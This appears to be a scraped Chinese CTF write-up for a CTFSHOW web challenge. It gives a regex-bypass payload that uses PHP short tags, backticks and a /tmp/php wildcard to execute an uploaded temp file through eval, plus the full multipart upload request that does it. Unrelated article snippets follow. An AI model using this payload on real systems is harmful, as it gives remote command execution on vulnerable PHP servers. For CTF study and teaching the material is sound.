CTFSHOW WEB 红包题第二弹

2023-10-26

1:题目

2:解题

2.1:查看源码

        按F12发现提示:?cmd=

2.2:尝试传参

        通过url传参数cmd=aaa:

        http://2799b166-4390-45e9-a3f4-711d2a5e64c5.challenge.ctf.show:8080/?cmd=aaa   

if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
    die("cerror");
    }
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
    die("serror");
    }
eval($cmd);

        此段代码要求cmd不能含有除了p以外的大小写字母和数字,且不能含有特殊字符:$~!@#%^&等等。可以使用的有:p ` ? / + < > =

2.3:构造cmd

        通过可用的字符构造cmd=?><?=`.+/??p/p?p??????`,由eval($cmd)来运行临时文件

        解释构造原理:

2.3.1:<?= $cmd ?> 等于 <?php echo($cmd) ?>

        在php中,<? ?>称为短标签,<?php ?>称为长标签。修改PHP.ini文件配置 short_open_tag = On 才可使用短标签。php5.4.0以后, <?= 总是可代替 <? echo。

        例:以下代码在php7.4环境下运行,结果均为2021。

<?php echo(date('Y')) ?>
<?php eval("echo(date('Y'));") ?>
<?= date('Y'); ?>
<?php eval("?><?= date('Y');") ?>

        (php在线运行测试http://www.dooccn.com/php7.4/

2.3.2:反引号``(键盘Tab键上面那个键)

        在php中反引号的作用是命令替换,将其中的字符串当成shell命令执行,返回命令的执行结果。反引号包括的字符串必须是能执行的shell命令,否则会出错。如下语句可得系统日期:

<?= `date` ?>

2.3.3:点 .

        点命令等于source命令,用来执行文件。

        source /home/user/bash   等同于   . /home/user/bash

2.3.4:加号 +

        URL编码中空格为%20,+表示为%2B。然而url中+也可以表示空格,要表示+号必须得用%2B。

2.3.5:/??p/p?p??????

2.3.5.1:临时文件夹目录

        php上传文件后会将文件存储在临时文件夹,然后用move_uploaded_file() 函数将上传的文件移动到新位置。临时文件夹可通过php.ini的upload_tmp_dir 指定,默认是/tmp目录。

2.3.5.2:临时文件命名规则

        默认为 php+4或者6位随机数字和大小写字母,在windows下有tmp后缀,linux没有。比如windows下:phpXXXXXX.tmp  linux下:phpXXXXXX。

2.3.5.3:通配符

        问号?代表一个任意字符,通配符/??p/p?p??????匹配/tmp/phpxxxxxx

2.4:上传文件

        用burpsuite发送POST请求,上传文件。(注意:Content-Length下必须空一行)

        以上请求头修改了3个地方:

POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1

Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888

-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain

#! /bin/sh

cat /flag.txt
-----------------------------10242300956292313528205888--

2.4.1:Content-Type

      Content-Type有两个值:①application/x-www-form-urlencoded(默认值) :上传键值对

                                              ②multipart/form-data:上传文件

2.4.2:boundary

        boundary为边界分隔符

        文件开始标记:-----------------------------10242300956292313528205888

        文件结束标记:-----------------------------10242300956292313528205888--

        其中10242300956292313528205888是浏览器随机生成的,只要足够复杂就可以。

2.4.3:文件内容

        #! /bin/sh 指定命令解释器,#!是一个特殊的表示符,其后,跟着解释此脚本的shell路径。bash只是shell的一种,还有很多其它shell,如:sh,csh,ksh,tcsh。首先用命令ls /  来查看服务器根目录有哪些文件,发现有flag.txt,然后再用cat /flag.txt 即可。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CTFSHOW WEB 红包题第二弹 的相关文章

随机推荐

  • HIMA F3330 984333002 伺服驱动模块

    运动控制 HIMA F3330 984333002 伺服驱动模块通常用于精确的运动控制应用 可以控制电机以特定速度和位置进行运动 位置反馈 HIMA F3330 984333002 伺服驱动模块可能支持位置反馈功能 以确保电机运动的准确性和
  • 你不得不知的几个互联网ID生成器方案

    服务化 分布式已成为当下系统开发的首选 高并发操作在数据存储时 需要一套id生成器服务 来保证分布式情况下全局唯一性 以确保系统的订单创建 交易支付等场景下数据的唯一性 否则将造成不可估量的损失 基于时间戳 比如流水号规则如下 XX YYY
  • C语言编程获取PE文件File_Header内容

    include
  • Js逆向练习制造Token与Id

    前言 闲来无聊 把 Pyhton3网络爬虫开发实战 第二版 看完了Js逆向部分 最后的实战部分感觉挺有挑战性的 正好崔佬也有详细的教程 平时的逆向都是野路子 刚好快回学校了有时间 那为什么不自己动手下呢 下面记录下过程 只会更加详细 观察页
  • [从零开始学习FPGA编程-33]:进阶篇 - 基本时序电路-寄存器(Verilog语言)

    作者主页 文火冰糖的硅基工坊 文火冰糖 王文兵 的博客 文火冰糖的硅基工坊 CSDN博客 本文网址 目录 前言 第1章 寄存器介绍 1 1 时序电路的两大特征
  • Qt 常用设计模式-单例模式(Singleton)

    单例 顾名思义 为了保证一个类仅有一个实例 并提供一个可以访问它的全局访问点 避免一个全局使用的类频繁的创建和销毁 节省系统资源 提高程序效率 如何创建唯一的实例 如果是A a new A 但是这么做的话就会有多个实例 所以我们需要把构造函
  • 记一个好用的xshell替代工具-mobaxterm

    https zhuanlan zhihu com p 56341917 现今软件市场上有很多终端工具 比如 secureCRT Putty telnet 等等 secureCRT其实也是一款很强大的终端工具 良许也使用过它很长时间 但是 它
  • 合法三角形数量

    题目1 给定一个n个正整数的数组a 问在其中取三个数 同时满足以下两个条件的取法有多少个 1 这三个数能构成三角形 即任意两数之和大于第三数 2 这三个数构成的三角形既不是等边三角形 也不是直角三角形 数据范围 3 lt n lt 2000
  • 通过 kubectl 查看 K8s 内节点、Pod 资源使用情况

    一 kubectl describe node 可通过该命令查看 Pod 在节点上的资源分配情况 Request Limits 如下 product 表示生产环境 kubectl describe node l env product 执行
  • 024-从零搭建微服务-系统服务(六)

    写在最前 如果这个项目让你有所收获 记得 Star 关注哦 这对我是非常不错的鼓励与支持 源码地址 后端 https gitee com csps mingyue 源码地址 前端 https gitee com csps mingyue u
  • Hibernate自动建表(使用DDL语句)

    Gd上次和大家谈到使用DDL语句实现自动建表失败的问题 过了几天再回头看果然思路就变得清晰许多 原来是xxx hbm xml文件的配置上出了问题 因为上次没有用Junit进行测试 所以没有看明白问题的描述 这里不得不说一句 Junit真是个
  • vue cli3 打包后访问不到页面 Failed to load resource: the server responded with a status of 404 (Not Found)

    在根目录下新建文件vue config js 配置打包资源路径 默认是 如果没有特殊需求就不要修改 代码如下 const path require path function resolve dir return path join dir
  • 于g2o新版本编译出错的原因及解决办法

    在githubg2o的github地址上面down了最新的版本进行安装 编译十四讲第六讲的代码出错 报错信息 home hri SLAM slambook ch6 g2o curve fitting main cpp In function
  • Linux查看与设置CPU频率

    Gnome下查看 1 在Gnome菜单栏的底部面板上点右键 gt 添加到面板 gt CPU频率范围监视器 然后gnome面板上就会出现此小工具 并显示当前的频率 点左键可出现可调节的频率 命令行下查看 1 安装cpufrequtils 此软
  • AD数据采集卡的输入悬空电压

    现象 用AD数据采集卡进行模拟电压信号采集时 在输入端悬空时 其采集到的信号与有信号输入的端口采集到的信号是类似的 而不是随机噪声 如图1所示 首通道是接入信号的 某通道悬空 图1 实际信号采集结果 这里说一下我所了解到的一种原因 大多数A
  • 详解二:CentOS下编译安装PHP开发环境,配置LAMP

    下载以上软件后 如果用户用的是CentOS最简版 也就是minimal版 需要安装支持软件 yum y install libxml2 yum y install libxml2 devel yum y install zlib yum y
  • 以太坊通证标准包括(ERC20、ERC721、ERC223、ERC621、ERC827、RFC、EIP)

    最著名的两个以太坊通证标准是代币标准ERC20和数字资产标准ERC721 在本文中 除了介绍这两个流行的ERC以太坊标准 还将介绍其他一些针对特定应用场景的ERC20改进标准 ERC223 ERC621和ERC827 什么是ERC ERC代
  • Zotero入门教程

    文章目录 一 生成Bibliography 二 Zotero文献自动导入 1 为什么要使用SCI HUB 2 如何自定义PDF解析器 三 在Zotero中添加Extension 四 文件存储位置的修改 五 markdown笔记功能 一 生成
  • Node.JS是什么

    1 Node JS是什么 Node js 不是一种独立的语言 Node js 也不是JavaScript 框架 Node js 是一个让 JavaScript 运行在服务端的开发平台 Node js 是一个让 JavaScript 运行在浏
  • CTFSHOW WEB 红包题第二弹

    1 题目 2 解题 2 1 查看源码 按F12发现提示 cmd 2 2 尝试传参 通过url传参数cmd aaa http 2799b166 4390 45e9 a3f4 711d2a5e64c5 challenge ctf show 80